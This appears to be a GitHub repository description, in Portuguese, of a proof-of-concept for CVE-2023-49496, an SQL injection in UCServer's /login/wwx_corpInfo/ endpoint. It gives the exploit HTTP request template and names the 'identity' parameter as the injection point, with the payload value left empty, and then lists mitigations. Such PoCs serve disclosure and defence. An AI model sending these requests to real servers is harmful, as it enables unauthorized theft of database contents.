huangyanqwq/cve-2023-49496_pocExploit de prova de conceito para CVE-2023-49496, demonstrando SQL injection no UCServer através do endpoint /login/wwx_corpInfo/ para extrair informações sensíveis do banco de dados.
UCServer é um servidor avançado de comunicações convergentes. A UCServer da Shanghai Shupin Information Technology Co., Ltd. possui uma vulnerabilidade de injeção SQL. Atacantes podem explorar esta vulnerabilidade para obter informações sensíveis do banco de dados.
POST /login/wwx_corpInfo/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://example.com/
Content-Length: 132
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: example.com
Proxy-Connection: Keep-alive
&identity=
No corpo da requisição POST, "identity" é o ponto de injeção
Ativar firewall do site; proibir qualquer IP de acessar o caminho "/login/wwx_corpInfo/"; proibir o banco de dados de aceitar conexões remotas externas; atualizar a versão do banco de dados.